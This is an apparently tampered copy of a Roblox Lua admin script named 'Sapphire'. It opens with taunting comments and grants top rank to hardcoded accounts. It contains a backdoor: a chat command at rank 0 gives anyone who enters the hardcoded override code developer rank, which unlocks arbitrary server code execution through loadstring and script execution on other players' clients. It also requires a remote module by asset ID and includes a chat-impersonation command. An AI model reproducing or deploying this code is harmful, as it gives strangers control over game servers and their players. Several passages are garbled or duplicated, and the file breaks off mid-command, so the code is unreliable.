local module = {}


--Well well well, Look who it is LMAOO.
--You have done fucked up oii. Done done fucked up
--Never Mess with Plexolo and ranked moderators.
--Here you go kiddos
Services = setmetatable({},{__index=function(s,n)
	if n == "ChatService" then
		return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
	else
		return game:service(n)
	end
end})
local ArchChat = Services.ChatService:AddSpeaker("Sapphire")

if not Services.ChatService:GetChannel("All") then
	Services.ChatService:AddChannel("All")
	for i,v in next, game:service'Players':players() do
		if Services.ChatService:GetSpeaker(v.Name) then
			 Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
		end
	end
end

ArchChat:JoinChannel("All")

ArchChat:SetExtraData("NameColor", Color3.new(
		0.0/255.0,
		255/255.0,
		255/255.0))
ArchChat:SetExtraData("ChatColor", Color3.new(
		211.0/255.0,
 		211.0/255.0,
        211.0/255.0))




	ArchChat:SayMessage("Sapphire has loaded.","All")
	ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")


Services.ChatService:GetChannel("All").WelcomeMessage = "Sapphire Administration has been loaded on this place."

--[[ Sapphire by Lethox & KCROL ]]--
local UpdateFound = false;
local SaveLeave = false;
local FC = require(607033461)
local Waves = true
local tabDesign = "Neon"
local BackTab = true
local Override = "L0LM0MMYW3SH3R3"
local AgeLimit = 150
--// Variables
local Ranks = {
    {Rank = 0, Desc = "Guest"};
    {Rank = 1, Desc = "Player"};
    {Rank = 2, Desc = "Trusted"};
    {Rank = 3, Desc = "Moderator"};
    {Rank = 4, Desc = "Admin"};
    {Rank = 5, Desc = "Head Admin"};
    {Rank = 6, Desc = "Co-Owner"};
    {Rank = 7, Desc =  "Developer"};
};
local Ranked = {
    {['Name'] = 'mertcetin', ['rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
	{['Name'] = 'Reloxz', ['rank'] = 7, ['Reason'] = 'Leaking Sapphire (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
	{['Name'] = 'LOLMOMMY7', ['rank'] = 7, ['Reason'] = 'idk anymore (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
    };

local Tablets = {};
local Commands = {};
local Banned = {};
local bannedscripts = {""}
local Splitkey = '/'
--// Functions

function Convert(color)
return BrickColor.new(color).Color
end

function AgeLimitBan(plr)
	if plr.AccountAge < AgeLimit then
		plr:kick('[Sapphire]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
	end
end

--Message--

function Message(msg, plr)
for i,v in pairs(game.Players:GetPlayers()) do
coroutine.wrap(function()
	-- Objects

local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")

-- Properties

ScreenGui.Parent = v.PlayerGui

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.new(0, 0, 0)
Frame.BackgroundTransparency = 0.5
Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
Frame.Size = UDim2.new(0, 300, 0, 300)
Frame.Visible = true

TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
TextLabel.Size = UDim2.new(0, 300, 0, 50)
TextLabel.Font = Enum.Font.Highway
TextLabel.FontSize = Enum.FontSize.Size32
TextLabel.Text = "Sapphire MESSAGE"
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextSize = 32

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_2.BackgroundTransparency = 1
TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
TextLabel_2.Font = Enum.Font.SourceSansItalic
TextLabel_2.FontSize = Enum.FontSize.Size14
TextLabel_2.Text = tostring(msg)
TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14
TextLabel_2.TextWrapped = true

Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
wait(6)
Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
wait(5)
ScreenGui:remove()
        end)()
	end
end

--CFrame--

local ang=0
game:GetService("RunService").Stepped:connect(function()
                ypcall(function()
                        for _,Player in pairs(game:service'Players':GetPlayers()) do
                                local PlayerTablets = {}
                                for i,v in pairs(Tablets) do
                                        if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
                                                table.insert(PlayerTablets, v)
                                        end
                                end
                                for i = 1, #PlayerTablets do
                                        ypcall(function()
                                                local tab = PlayerTablets[i].Tab1
                                                local tab2 = PlayerTablets[i].Tab2
                                                local pos = nil
                                                ypcall(function()
                                                        pos = Player.Character.Torso.CFrame
                                                end)
                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
                                                local y = math.sin(i + tick()*3.4)
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
                                                local cPos = tab.Position
                                                local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
                                                local nPos = (ePos-cPos)*.25
                                          cPos = cPos + nPos
                                                local t = (tick() - tick()) % 360
                                                local change = 0.0025
                                                                                                ang=ang+change
tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))

                                        end)
                                end
                        end
                end)
end)

function Output(player,name,color,func)
        if name==nil then name='Error!' end
        if color==nil then color=tostring('Institutional white') end
        if player==nil then return false end
        local Tab = Instance.new('Part',workspace.Terrain)
        Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
        Tab.Transparency = 0
        Tab.Size = Vector3.new(2,2,2)
        Tab.BrickColor = BrickColor.new(tostring(color))
        Tab.Position = player.Character.Head.Position
        local Tabb = Instance.new('Part',workspace.Terrain)
        Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
        Tabb.Transparency = 0
        Tabb.Size = Vector3.new(1.3,1.3,1.3)
        Tabb.BrickColor = BrickColor.new(tostring(color))
        Tabb.Position = player.Character.Head.Position

        local Gui=Instance.new("BillboardGui", Tab)
    Gui.Adornee=Tab;
    Gui.StudsOffset = Vector3.new(0, 1.3, 0)
    Gui.Size = UDim2.new(8, 0, 7.5,0)

    local Label=Instance.new("TextLabel", Gui)
    Label.Font = "SciFi"
    Label.TextColor3=Convert(tostring(color))
    Label.BackgroundTransparency=1
    Label.FontSize = "Size24"
    Label.Font = "SourceSansBold"
    Label.TextStrokeTransparency=1
    Label.Text = tostring(name)
    Label.TextStrokeColor3=Convert(tostring(color))
    Label.Size = UDim2.new(1, 0, 0.5, 0)

local CLICK=Instance.new("ClickDetector", Tab)
CLICK.MaxActivationDistance=math.huge

CLICK.MouseClick:connect(function(p)
if p.userId == player.userId or GetRank(p) > GetRank(player) then
if func == nil then
for i = 1, 5 do
Tab.Transparency=Tab.Transparency + .1
Tab.Size=Tab.Size - Vector3.new(.01,.01,.01)
wait()
end
Tab:Destroy()
Tabb:Destroy()
else
for i = 1, 5 do
Tab.Transparency=Tab.Transparency + .1
Tab.Size=Tab.Size - Vector3.new(.010,.010,.010)
wait()
end
Tab:Destroy()
Tabb:Destroy()
func = func
func()
end
end
CLICK.MouseHoverEnter:connect(function(p)
        if p.Name == player.Name or GetRank(p) > GetRank(player) then
                for i = 1, 1 do
                        Tab.Transparency = .7
                        Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
                end
        end
end)
CLICK.MouseHoverLeave:connect(function(p)
        if p.Name == player.Name or GetRank(p) > GetRank(player) then
                Tab.Transparency = .3
                Tab.Size = Vector3.new(2,2,2)
        end
end)
end)

if tabDesign == "Double" then
	Tab.Size = Vector3.new(2,2,2)
	Tabb.Size = Vector3.new(.7,.7,.7)
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
	Tabb.Transparency = 0
	Tab.Transparency = 0.3
elseif tabDesign == "Plain" then
	Tab.Size = Vector3.new(2,2,2)
    for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
    for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
	Tabb.Transparency = 1
	Tab.Transparency = 0
elseif tabDesign == "SelectionBox" then
	Tab.Size = Vector3.new(2,2,2)
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
	local sel = Instance.new('SelectionBox',Tab)
	sel.Color = Tab.BrickColor
	sel.LineThickness = 0.01
	sel.Adornee = Tab
	Tab.Transparency = 0.3
	Tabb.Transparency = 1
elseif tabDesign == "DoubledSel" then
	Tab.Size = Vector3.new(2,2,2)
	Tabb.Size = Vector3.new(.7,.7,.7)
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
	local sel = Instance.new('SelectionBox',Tab)
	sel.Color = Tab.BrickColor
	sel.LineThickness = 0.01
	sel.Adornee = Tab
	Tab.Transparency = 0.3
	Tabb.Transparency = 0
elseif tabDesign == "Orb" then
	Tab.Size = Vector3.new(2,2,2)
	Tabb.Transparency = 1
	Tab.Transparency = 0
	local m = Instance.new('SpecialMesh',Tab)
	m.MeshType = "Sphere"
	m.Scale = Vector3.new(1,1,1)
elseif tabDesign == "DoubleOrb" then
	Tab.Size = Vector3.new(2,2,2)
	Tabb.Size = Vector3.new(1.3,1.3,1.3)
	Tab.Transparency = 0.3
	local m = Instance.new('SpecialMesh',Tab)
	m.MeshType = "Sphere"
	m.Scale = Vector3.new(1,1,1)
	local m = Instance.new('SpecialMesh',Tabb)
	m.MeshType = "Sphere"
	m.Scale = Vector3.new(.6,.6,.6)
elseif tabDesign == "Flat" then
	Tab.Size = Vector3.new(3,4,0.2)
	Tab.Transparency = 0
	Tabb.Transparency = 1
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
elseif tabDesign == "DoubleFlat" then
	Tab.Size = Vector3.new(3,4,0.4)
	Tab.Transparency = .3
	Tabb.Transparency = 0
	Tabb.Size = Vector3.new(2,3,0.2)
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
elseif tabDesign == "Neon" then
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
	Tab.Material = "Neon"
	Tab.Size = Vector3.new(2,2,2)
	Tab.Transparency=0
	Tabb.Size = Vector3.new(.7,.7,.7)
	Tabb.Transparency = 1
end

table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
end



AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
	if type(Name) == 'userdata' then Name = Name.Name end
	table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
end

SetRank = function(player, rank)
	if type(player) == 'userdata' then player = player.Name end
	for _,plr in next,Ranked do
		if plr.Name == player then
			plr.Rank = rank
		end
	end

AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
end

function getRanked(player)
	Dismiss(player)
	Output(player, 'Getting ranked table, please wait...', 'Institutional white')
	wait(3)
	Dismiss(player)
	Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
	for _,plr in next,Ranked do
		Output(player, plr.Name, 'Institutional white', function()
			Dismiss(player)
			Output(player, 'Name: '..plr.Name, 'Institutional white')
			Output(player, 'Rank: '..GetRank(plr), 'Lime green')
			Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
			Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
			Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
		end)
	end
end

function GetRank(plr)
        if type(plr) == 'userdata' then
                plr=tostring(plr)
        elseif type(plr) == 'string' then
                plr=plr.Name
        else
                plr=plr
        end

        for _,data in pairs(Ranked) do
                if data['Name'] == plr then
                        local rnk = data['Rank']
                        return rnk --If plr is on the rank list their rank is here
                end
        end

        return 0 --Player's rank will be 0 if not on the list
end

function GetSuffix(plr)
        if type(plr) == 'userdata' then
                plr=tostring(plr)
        elseif type(plr) == 'string' then
                plr=plr.Name
        else
                plr=plr
        end

        for _,data in pairs(Ranked) do
                if data['Name'] == plr then
                        local suffix = data['Suffix']
                        return suffix --If plr is on the rank list their rank is here
                end
        end

        return '!' --Player's suffix is ! if not ranked.
end

function GetDesc(plr)
        if type(plr) == 'userdata' then
                plr=tostring(plr)
        elseif type(plr) == 'string' then
                plr=plr.Name
        else
                plr=plr
        end

        for _,data in pairs(Ranked) do
                if data['Name'] == plr then
                        local reason = data['Reason']
                        return reason
                end
        end

        return 'A normal player!'
end

function GetColor(plr)
        if type(plr) == 'userdata' then
                plr=tostring(plr)
        elseif type(plr) == 'string' then
                plr=plr.Name
        else
                plr=plr
        end

        for _,data in pairs(Ranked) do
                if data['Name'] == plr then
                        local clr = data['Color']
                        return clr --If plr is on the rank list their color here
                end
        end

        return 'Cyan' --Player's color is Cyan if not ranked.
end

function Dismiss(plr)
pcall(function()
for _,tablets in pairs(Tablets) do
if tablets.Player == plr then
local T = coroutine.create(function()
repeat
game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
until tablets.Tab1.Size.X 2 then
message = message:sub(2)
end
elseif message:sub(1, 1) == '>' then
        if #message > 2 then
                message = message:sub(2)
        end
end


local command=message
for _, CMDS in pairs(Commands) do
if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
if GetRank(speaker) >= CMDS['Rank'] then
local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
a,b = ypcall(function()
                                        CMDS["Func"](speaker, msg)
        end)
        if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
        else
        Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
end
end
end
end




function NewCommand(name, usage, rank, desc, func)
      table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
end

function SBChat(title,msg)
	pcall(function()
		for i,v in pairs(game.Players:GetPlayers()) do
			local value = Instance.new('StringValue',v)
			value.Name = "SB_Chat"
			value.Value = tostring(title)..'/'..msg
			game.Debris:AddItem(value,.1)
		end
	end)
end

function SBChatAll(name, cht)
    for _,plr in pairs(game.Players:GetPlayers()) do
        SBChat(plr, name, cht)
    end
end

GetPlayers = function(plr, msg)
    local plrs = {}
    if msg:match("^!") then
        return FindPlayers(plr, msg:sub(2), true)
    elseif msg == "me" then
        table.insert(plrs, plr)
    elseif msg == "all" then FindPlayers = function(plr, msg)
    local plrs = {}
    if msg:match("^!") then
        return FindPlayers(plr, msg:sub(2), true)
    elseif msg == "me" then
        table.insert(plrs, plr)
    elseif msg == "all" then
        for _,v in pairs(game:service'Players':players()) do
            table.insert(plrs, v)
        end
    elseif msg == "others" then
        for _,v in pairs(game:service'Players':players()) do
            if v ~= plr then
                table.insert(plrs, v)
            end
        end
    else
        for _,v in pairs(game:service'Players':players()) do
            if v.Name:lower():sub(1,#msg) == msg:lower() then
                table.insert(plrs, v)
            end
        end
    end
    return plrs
end
        for _,v in pairs(game:service'Players':players()) do
            table.insert(plrs, v)
        end
    elseif msg == "others" then
        for _,v in pairs(game:service'Players':players()) do
            if v ~= plr then
                table.insert(plrs, v)
            end        end
    else        for _,v in pairs(game:service'Players':players()) do

            if v.Name:lower():sub(1,#msg) == msg:lower() then
                table.insert(plrs, v)
            end
        end
    end
    return plrs
end

function ConnectPlayer(plr)
    wait(1);
    for _,bans in pairs(Banned) do
        if plr.Name == bans then
            plr:kick("[Sapphire]: You are banned!")
        end
    end
end

for _,plr in pairs(game.Players:GetPlayers()) do
    ConnectPlayer(plr)
end

game.Players.PlayerAdded:connect(function(plr)
    ConnectPlayer(plr)
    Output(plr, 'Welcome to Sapphire, '..plr.Name..'!','Lime green')
     Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
     Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
     Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
     Output(plr, 'Your dick is '..GetSuffix(plr), 'Cyan')


     plr.Chatted:connect(function(m)
           Chatted(plr, m)
   end)

     ArchChat:SayMessage(plr.Name.." has joined the game!","All")

    setChatColor(plr)
end)

game.Players.PlayerRemoving:connect(function(player)
	ArchChat:SayMessage(player.Name.." has left the game.","All")
end)

function Sbexe(cmd,plr)
    if not type(cmd)=='string'then return end
    if plr then
        if type(plr)=='userdata'then
           plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
        elseif type(plr)=='string'then
            plr = game:GetService('Players'):FindFirstChild(plr)
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
        end
    else
        for i,v in pairs(game:GetService('Players'):children())do
            v:FindFirstChild("SB_CommandRemote",true).Value = cmd
        end
    end
end

--// Moving on from functions

NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
for _,plr in next,GetPlayers(player,message) do
Instance.new('ForceField',plr.Character)
end
end)

NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
Commands_E(player)
end)

NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
Dismiss(player)
end)

NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
        local Split = message:find(Splitkey)
        local PreSplit = message:sub(1, Split - 1)
        local AfterSplit = message:sub(Split + 1)
        for _,plr in next,GetPlayers(player,PreSplit) do
                Sbexe(tostring(AfterSplit), plr)
        end
end)

NewCommand('Kick','kick',4,'Kick a player',function(player,message)
        local Split = message:find(Splitkey)
        local PreSplit = message:sub(1, Split - 1)
        local AfterSplit = message:sub(Split + 1)
        for _,plr in next,GetPlayers(player,PreSplit) do
                plr:kick('[Sapphire]: You have been kicked for '..tostring(AfterSplit))
        end
end)

NewCommand('Kill','kill',3,'Kill a player',function(player,message)
for _,plr in next,GetPlayers(player,message) do
plr.Character.Humanoid.Health = 0
end
end)

NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
	local Split = message:find(Splitkey)
    local PreSplit = message:sub(1, Split - 1)
    local AfterSplit = message:sub(Split + 1)
    for _,plr in next,GetPlayers(player,PreSplit) do
	  SetRank(plr, tonumber(AfterSplit))
   end
end)

NewCommand('God','god',3,'God a player',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr.Character.Humanoid.MaxHealth = math.huge
	end
end)

NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr.Character.Humanoid.MaxHealth = 100
	end
end)

NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
	Output(player, 'Made everyone do '..message,GetColor(player))
	for i,v in pairs(game.Players:GetPlayers()) do
		Sbexe(message, v)
	end
end)

NewCommand('Execute','exe',5,'Execute a script',function(player,message)
	local success,errored = loadstring(message)
	if success and not errored then
		success()
	else
		Output(player, 'Sapphire - Error: '..errored,'Really red')
	end
end)

NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		for i,v in pairs(plr.Character:children()) do
			if v:IsA("ForceField") or v.ClassName == "ForceField" then
				v:remove()
			end
		end
	end
end)

NewCommand('Ban','ban',5,'Ban a player',function(player,message)
        local Split = message:find(Splitkey)
        local PreSplit = message:sub(1, Split - 1)
        local AfterSplit = message:sub(Split + 1)
        for _,plr in next,GetPlayers(player,PreSplit) do
                plr:kick('[Sapphire]: You have been banned for '..tostring(AfterSplit))
                table.insert(Banned, plr.Name)
        end
end)

NewCommand('Message','msg',3,'Send a server message',function(player,message)
	Message(message)
end)

NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
	Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
	game:GetService("SoundService").AmbientReverb = tonumber(message)
end)

NewCommand('Music','play',4,'Play a music sound',function(player,message)
	Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
	ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
	local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
end)

NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
	for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
		if v:IsA("Sound") then
			v:remove()
			SBChat('Sapphire','Stopped all running music.')
		end
	end
end)

NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr:LoadCharacter()
	end
end)

NewCommand("Define", "def", 0, "Defines a word", function(player, message)
				local http=game:GetService('HttpService')
	local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
	req=http:JSONDecode(req)
	local def={}
	for i in string.gmatch(req[1].text, "%w+%p*") do
    table.insert(def,i)
	end
	local defs=""
	for _,v in pairs(def) do
		defs=defs..v.." "
		if _%10==0 then defs=defs.."n" end
	end
	Output(player,defs,GetColor(player))
end)

NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
	-- Objects

local Interface = Instance.new("ScreenGui")
local Body = Instance.new("Frame")
local head = Instance.new("TextLabel")
local CodeInput = Instance.new("TextBox")
local LoginButton = Instance.new("TextButton")
local CancelButton = Instance.new("TextButton")
local TextLabel = Instance.new("TextLabel")

-- Properties

Interface.Name = "Interface"
Interface.Parent = player.PlayerGui

Body.Name = "Body"
Body.Parent = Interface
Body.BackgroundColor3 = Color3.new(0, 0, 0)
Body.BackgroundTransparency = 0.5
Body.Position = UDim2.new(0.5, -150, 0.5, -150)
Body.Size = UDim2.new(0, 300, 0, 300)

head.Name = "head"
head.Parent = Body
head.BackgroundColor3 = Color3.new(1, 1, 1)
head.BackgroundTransparency = 1
head.Position = UDim2.new(0.5, -150, 0, 0)
head.Size = UDim2.new(0, 300, 0, 50)
head.Font = Enum.Font.Highway
head.FontSize = Enum.FontSize.Size28
head.Text = "Sapphire Rank Override"
head.TextColor3 = Color3.new(1, 1, 1)
head.TextSize = 28

CodeInput.Name = "CodeInput"
CodeInput.Parent = Body
CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
CodeInput.Size = UDim2.new(0, 150, 0, 30)
CodeInput.Font = Enum.Font.SourceSans
CodeInput.FontSize = Enum.FontSize.Size14
CodeInput.Text = "Login"
CodeInput.TextScaled = true
CodeInput.TextSize = 14
CodeInput.TextWrapped = true

LoginButton.Name = "LoginButton"
LoginButton.Parent = Body
LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
LoginButton.BackgroundTransparency = 1
LoginButton.Position = UDim2.new(0, 25, 0, 150)
LoginButton.Size = UDim2.new(0, 80, 0, 30)
LoginButton.Font = Enum.Font.SourceSansBold
LoginButton.FontSize = Enum.FontSize.Size28
LoginButton.Text = "Login"
LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
LoginButton.TextSize = 28

CancelButton.Name = "CancelButton"
CancelButton.Parent = Body
CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
CancelButton.BackgroundTransparency = 1
CancelButton.Position = UDim2.new(0, 200, 0, 150)
CancelButton.Size = UDim2.new(0, 80, 0, 30)
CancelButton.Font = Enum.Font.SourceSansBold
CancelButton.FontSize = Enum.FontSize.Size28
CancelButton.Text = "Cancel"
CancelButton.TextColor3 = Color3.new(1, 0, 0)
CancelButton.TextSize = 28

TextLabel.Parent = Body
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
TextLabel.Size = UDim2.new(0, 200, 0, 50)
TextLabel.Font = Enum.Font.Highway
TextLabel.FontSize = Enum.FontSize.Size24
TextLabel.Text = "Please login to get rank 6."
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextSize = 24

LoginButton.MouseButton1Click:connect(function()
	if CodeInput.Text == Override then
	Interface:remove()
	SetRank(player, 7)
	else
		local WrongCode = Instance.new('TextLabel',Body)
		WrongCode.Name = "WrongCode"
        WrongCode.Parent = Body
        WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
        WrongCode.BackgroundTransparency = 1
        WrongCode.Position = UDim2.new(0, 50, 0, 200)
        WrongCode.Size = UDim2.new(0, 200, 0, 50)
        WrongCode.Font = Enum.Font.SourceSansBold
        WrongCode.FontSize = Enum.FontSize.Size24
        WrongCode.Text = "Wrong Code!"
        WrongCode.TextColor3 = Color3.new(1, 0, 0)
        WrongCode.TextSize = 24
        wait(3)
        WrongCode:remove()
	end
  end)
CancelButton.MouseButton1Click:connect(function()
	  Interface:remove()
   end)
end)

NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
	local Split = message:find(Splitkey)
    local PreSplit = message:sub(1, Split - 1)
    local AfterSplit = message:sub(Split + 1)
    for _,plr in next,GetPlayers(player,PreSplit) do
	plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
end
end)

NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
	local Split = message:find(Splitkey)
    local PreSplit = message:sub(1, Split - 1)
    local AfterSplit = message:sub(Split + 1)
    for _,plr in next,GetPlayers(player,PreSplit) do
	plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
end
end)



NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
	getRanked(player)
end)

NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
	local Split = message:find(Splitkey)
	local PreSplit = message:sub(1, Split - 1)
	local AfterSplit = message:sub(Split + 1)
	for _,plr in next,GetPlayers(player,PreSplit) do
		FC(plr, tostring(AfterSplit))
	end
end)

NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		while wait() do
			plr.Character.Humanoid.Health = 0
		end
	end
end)




NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
	local Split = message:find(Splitkey)
	local PreSplit = message:sub(1, Split - 1)
	local AfterSplit = message:sub(Split + 1)

	Services = setmetatable({},{__index=function(s,n)
	if n == "ChatService" then
		return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
	else
		return game:service(n)
	end
end})
local FakeChat = Services.ChatService:AddSpeaker(PreSplit)

if not Services.ChatService:GetChannel("All") then
	Services.ChatService:AddChannel("All")
	for i,v in next, game:service'Players':players() do
		if Services.ChatService:GetSpeaker(v.Name) then
			 Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
		end
	end
end

FakeChat:JoinChannel("All")



	FakeChat:SayMessage(tostring(AfterSplit),"All")


wait(0.01)

Services.ChatService:RemoveSpeaker(PreSplit)
end)



NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
	for _,plr in next,GetPlayers(player,message) do
		plr.Character = nil
		wait(0.3)
		plr:LoadCharacter()
	end
end)

NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
	Output(player, 'Do you want waves on?','Institutional white')
	Output(player, 'Yes','Lime green',function() Waves = true end)
	Output(player, 'No','Really red',function() Waves = false end)
end)

NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
	addChannel(message)
end)

NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
	Output(player, message, GetColor(player))
	if message == "" then
		Output(player, 'Sapphire', 'Lime green')
	end
end)

NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
	getPlayers(player)
end)


NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
	local Split = message:find(Splitkey)
	local PreSplit = message:sub(1, Split - 1)
	local AfterSplit = message:sub(Split + 1)
	for _,plr in next,GetPlayers(player,PreSplit) do
